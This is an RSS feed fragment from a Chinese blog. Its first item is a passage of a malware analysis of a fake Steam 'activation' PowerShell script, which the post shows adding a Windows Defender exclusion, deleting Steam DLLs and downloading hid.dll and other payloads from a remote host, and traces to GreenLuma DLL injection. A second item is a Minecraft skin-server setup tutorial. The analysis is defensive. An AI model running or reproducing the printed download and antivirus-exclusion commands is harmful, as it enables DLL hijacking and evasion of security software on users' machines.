&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $steamPath = $steamPath -replace "version.dll","user32.dll"<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (Test-Path $steamPath) {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Start-Sleep 0.5<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Remove-Item -Path $steamPath -Force<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Start-Sleep 0.5<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $steamPath = $steamPath -replace "user32.dll","hid.dll"</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Write-Host "ServerStart &nbsp; &nbsp; &nbsp; &nbsp;[OK]" -ForegroundColor:green<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Add-MpPreference -ExclusionPath $steamPath<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Set-MpPreference -SubmitSamplesConsent 0<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; catch<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Write-Host "Result[0] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[OK]" -ForegroundColor:green</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Invoke-WebRequest -Uri "https://hz-config.oss-accelerate.aliyuncs.com/dwf/PSH" -OutFile $steamPath -ErrorAction Stop</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Write-Host "Result[1] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[OK]" -ForegroundColor:green</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $strfmt = -join ($env:LOCALAPPDATA,"\SteamActive")<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (!(Test-Path $strfmt)) {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; md $strfmt | Out-Null<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Start-Sleep 1<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (!(Test-Path $strfmt)) {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; New-Item $strfmt -ItemType directory -Force | Out-Null<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $strfmt = -join ($env:LOCALAPPDATA,"\SteamActive\hid")<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Invoke-WebRequest -Uri "https://hz-config.oss-accelerate.aliyuncs.com/dwf/hid" -OutFile $strfmt -ErrorAction Stop<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Write-Host "Result[2] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[OK]" -ForegroundColor:green</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Start-Sleep 0.5</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Start steam://</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #连接服务器成功请在Steam输入激活码 5秒后自动关闭窗口<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Write-Host (Get-Content $tempLog)[3] -ForegroundColor:green</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Start-Sleep 5</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #结束运行<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exit<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; catch<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #请重新打开Power shell 打开方式以管理员身份运行<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Write-Host (Get-Content $tempLog)[2] -ForegroundColor:Red<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; }</p>
<p>&nbsp; &nbsp; }<br>&nbsp; &nbsp; catch{<br>&nbsp; &nbsp; &nbsp; &nbsp; #请检查您的Steam是否正确安装<br>&nbsp; &nbsp; &nbsp; &nbsp; Write-Host (Get-Content $tempLog)[4] -ForegroundColor:red<br>&nbsp; &nbsp; }<br>}</p>
<p>#开始启动<br>PwStart</p>
</blockquote>
<p>&nbsp;</p>
<p>这个命令执行了:</p>
<ol>
<li data-pid="DsSXMfNO">从网上下载了一个脚本下来执行</li>
<li data-pid="DPeTIhf9">脚本加了三重AES加密[为了保护作者的母亲]</li>
<li data-pid="16au2qxz">设置Windows Defender除外Steam目录下的安全防护</li>
<li data-pid="16au2qxz">关闭360等杀毒软件进程</li>
<li data-pid="yVZIJ_ad">删除steam目录下几个dll文件</li>
<li data-pid="FnAiwDi0">从网上下载hid.dll覆盖到steam的本地目录</li>
<li data-pid="AcPC3aOv">以及还下了其他用于破解的库</li>
</ol>
<blockquote>
<p>hid.dll是个系统的动态库，hid的缩写是Human Interface Device的简称，简单点说就是控制鼠标键盘之类的用户输入设备的。这玩意放在这里通常是为了让Steam在处理输入设备时先过一次他的拦截，然后再传到系统执行正常操作</p>
</blockquote>
<h1 id="msg_header_h1_1"><span id="02-steamworksexe行为分析">steamworks.exe行为分析</span></h1>
<p><a href="/content/uploadfile/202401/d2b51705069023.png" target="_blank" rel="noopener"><img src="/content/uploadfile/202401/thum-d2b51705069023.png" alt="image.png"></a></p>
<p><a href="/content/uploadfile/202401/d2b51705069035.png" target="_blank" rel="noopener"><img src="/content/uploadfile/202401/thum-d2b51705069035.png" alt="image.png"></a></p>
<p>它下载的exe文件在微步沙箱也是成功报毒</p>
<p>他所替换的文件可以使商家远程修改你的文件,可能导致你退款就销毁你的steam等....</p>
<p>运行它下载的<code>steamworks.exe</code>文件会强制退出steam平台的进程</p>
<p>接着<code>steamworks.exe</code>释放python支持库和几张输入产品代码的图片到临时文件夹中</p>
<p>程序执行几秒后弹出界面</p>
<p><a href="/content/uploadfile/202401/d2b51705069325.png" target="_blank" rel="noopener"><img src="/content/uploadfile/202401/thum-d2b51705069325.png" alt="image.png"></a></p>
<p>由于此时steam已强制退出,不难猜到该界面正是刚刚提到的临时文件夹中的图片绘制而成</p>
<p>将某宝店家提供给我们的CDK提交,发现通过网络下载了文件111111.zip</p>
<p>通过steamdb查询我们要激活的游戏123,发现123的ID正是111111</p>
<p>解压后得到其中包含了游戏的清单文件和密钥文件</p>
<p>其中包含了游戏的清单文件和密钥文件</p>
<p>猜测是由steam免费入库工具SteamTools生成</p>
<p>显然店家提供给我们的"游戏CDK"实际上是游戏的标识ID,通过该ID下载对应的游戏免费入库包</p>
<p>接着<code>steamworks.exe</code>将TEVI的清单文件拷贝到steam目录下的depotcache文件夹中,并且修改了包括<code>config.vdf</code>在内的一部分配置文件</p>
<p>然后在steam目录下写入一个<code>User32.dll</code></p>
<h1 id="msg_header_h1_2"><span id="03-user32dll行为分析">User32.dll行为分析</span></h1>
<p>显然<code>User32.dll</code>是为了劫持注入,在IDA中查看发现具有GreenLuma字符串</p>
<p>通过搜索引擎查找GreenLuma,发现这也是一个steam入库工具</p>
<p>显然<code>steamworks.exe</code>通过GreenLuma进行劫持注入,通过之前得到的游戏的清单文件和密钥文件进行解锁</p>
<p>最后,弹出激活成功的窗口并重启steam</p>]]></description>
    <pubDate>Fri, 12 Jan 2024 21:56:00 +0800</pubDate>
    <dc:creator>Aelura</dc:creator>
    <guid>https://blog.kldhsh.top/post-28.html</guid>
</item>
<item>
    <title>又一个新的站点-开朗皮肤站</title>
    <link>https://blog.kldhsh.top/post-23.html</link>
    <description><![CDATA[<h1>前言</h1>
<p>之前我最爱的我的世界统一通行证崩溃了导致无法使用,于是我搭建了<a title="开朗皮肤站" href="https://mcpf.kldhsh.top/">开朗皮肤站</a>使用<a title="Blessing Skin Server" href="https://github.com/bs-community/blessing-skin-server">Blessing Skin Server</a>项目<br>如遇到疑难杂症欢迎联系我</p>
<h2>教程开始</h2>
<p>服务器一台拥有固定IP及稳定的网络环境，操作系统Debian、CentOS都可以。不推荐使用Windows Serve</p>
<h2>1.准备工作</h2>
<p><br>Nginx/Apache：推荐使用Nginx环境<br>PHP：PHP版本推荐7以上（最新皮肤站需要PHP8）<br>Minecraft服务器端<br>服务器系统选择：Debian/Ubuntu/Centos<br>（因windows暂用资源会大些对服务器整体的性能不能发挥到极致）</p>
<h2>2.安装系统</h2>
<p><br>推荐使用宝塔Linux面板<a title="宝塔Linux面板安装命令" href="https://www.bt.cn/new/download.html">宝塔Linux面板安装命令</a>安装后部署LNMP套件[推荐编译安装,较为稳定，但用时久]</p>
<h2>3.解禁函数</h2>
<p><br>打开软件商店找到PHP81<a href="/content/uploadfile/202310/cde21698250019.png"><img src="/content/uploadfile/202310/thum-cde21698250019.png" alt=""></a>在这里解禁以下函数：symlink、readlink、putenv、Realpath</p>
<h2>4.安装php扩展</h2>
<p><br>安装扩展：fileinfo<br><a href="/content/uploadfile/202310/b1751698250084.png"><img src="/content/uploadfile/202310/thum-b1751698250084.png" alt=""></a></p>
<h2>5.在网站页面新建站点</h2>
<p><br><a href="/content/uploadfile/202310/d2a41698250157.png"><img src="/content/uploadfile/202310/thum-d2a41698250157.png" alt=""></a></p>
<h2>6.解压源码</h2>
<p><br>前往<a title="Blessing Skin Server" href="https://github.com/bs-community/blessing-skin-server">Blessing Skin Server</a>下载源码解压在网站目录</p>
<h2>7.添加伪静态和设置目录并关闭防跨站攻击</h2>
<p>&nbsp;</p>
<pre class="language-markup"><code>location / {
try_files $uri $uri/ /index.php?$query_string;
}</code></pre>
<p><br><a href="/content/uploadfile/202310/9b0e1698250347.png"><img src="/content/uploadfile/202310/thum-9b0e1698250347.png" alt=""></a><br><a href="/content/uploadfile/202310/78081698250364.png"><img src="/content/uploadfile/202310/thum-78081698250364.png" alt=""></a><br><a href="/content/uploadfile/202310/7e321698250564.png"><img src="/content/uploadfile/202310/thum-7e321698250564.png" alt=""></a></p>
<h2>8.创建数据库</h2>
<p><br><a href="/content/uploadfile/202310/a1561698250430.png"><img src="/content/uploadfile/202310/thum-a1561698250430.png" alt=""></a>这里填记得住的数据库名,用户,密码等</p>
<h2>9.访问网站进行最后部署</h2>
<h3><br>10.安装Yggdrasil API</h3>
<p><br>在插件市场搜索<br>如果你是一个服主,想要让皮肤站支持验证玩家身份和伪正版时,推荐安装！</p>
<h3>11.常见问题</h3>
<p><br>①你可能会遇到500错误，只需要刷新页面就可以解决。<br>②插件市场严重错误<br><a href="/content/uploadfile/202310/e4c91698250763.png"><img src="/content/uploadfile/202310/thum-e4c91698250763.png" alt=""></a><br>在站点目录的.env文件中加入代码：<br>PLUGINS_REGISTRY=<a href="https://moeluoyu.xyz/api/plugins-dist/registry_zh_CN.json" target="_blank" rel="noopener">https://moeluoyu.xyz/api/plugins-dist/registry_zh_CN.json</a></p>
<h3>12.外置登录-服务器</h3>
<p><br>获取认证插件:<a title="获取 authlib-injector (yushi.moe)" href="https://authlib-injector.yushi.moe/artifact/51/authlib-injector-1.2.3.jar">获取 authlib-injector (yushi.moe)</a><br>获取到认证地址为https://网站.top，并将插件直接上传到服务器根目录下，且插件名为authlib-injector-1.2.3.jar，那么你需要添加的内容就是下面这样：<br>-javaagent:authlib-injector-1.2.3.jar=https://网站.top.com<br>例如，这是你原来的启动命令：<br>java -jar minecraft_server.1.12.2.jar nogui<br>你只需要把他修改为<br>java -javaagent:authlib-injector-1.2.3.jar=https://网站.top minecraft_server.1.12.2.jar nogui</p>]]></description>
    <pubDate>Wed, 25 Oct 2023 20:52:00 +0800</pubDate>
    <dc:creator>Aelura</dc:creator>
    <guid>https://blog.kldhsh.top/post-23.html</guid>
</item>
</channel>
</rss>